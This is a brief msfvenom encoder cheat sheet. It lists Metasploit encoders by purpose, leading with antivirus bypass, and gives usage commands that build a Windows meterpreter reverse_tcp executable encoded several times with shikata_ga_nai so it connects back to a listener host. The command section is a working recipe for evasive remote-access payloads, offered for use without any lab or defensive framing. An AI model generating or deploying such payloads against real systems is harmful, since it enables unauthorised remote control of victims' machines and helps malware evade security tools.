Encoder Reference

Full Encoder List

msfvenom -l encoders

Encoders by Use Case

Encoder Best For
x86/shikata_ga_nai General AV bypass β€” polymorphic XOR
x86/call4_dword_xor Chain with shikata; XOR via CALL DWORD
x86/bloxor Block-based XOR
x86/jmp_call_additive Jump/call additive encoding
x86/context_cpuid CPUID-based context detection
x86/alpha_mixed Alphanumeric-only shellcode
x86/alpha_upper Uppercase alphanumeric only
x86/avoid_utf8_tolower Avoids bytes affected by tolower()
x86/xor_dynamic Dynamic single-byte XOR key
cmd/powershell_base64 PowerShell base64 command
generic/none No encoding, raw output

Usage Patterns

# Single encoder, 3 iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> \
  -e x86/shikata_ga_nai -i 3 -f exe

# List iterations for a payload
msfvenom -p windows/meterpreter/reverse_tcp --list-options

# Specify output architecture explicitly
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> \
  -e x86/shikata_ga_nai -i 5 -f exe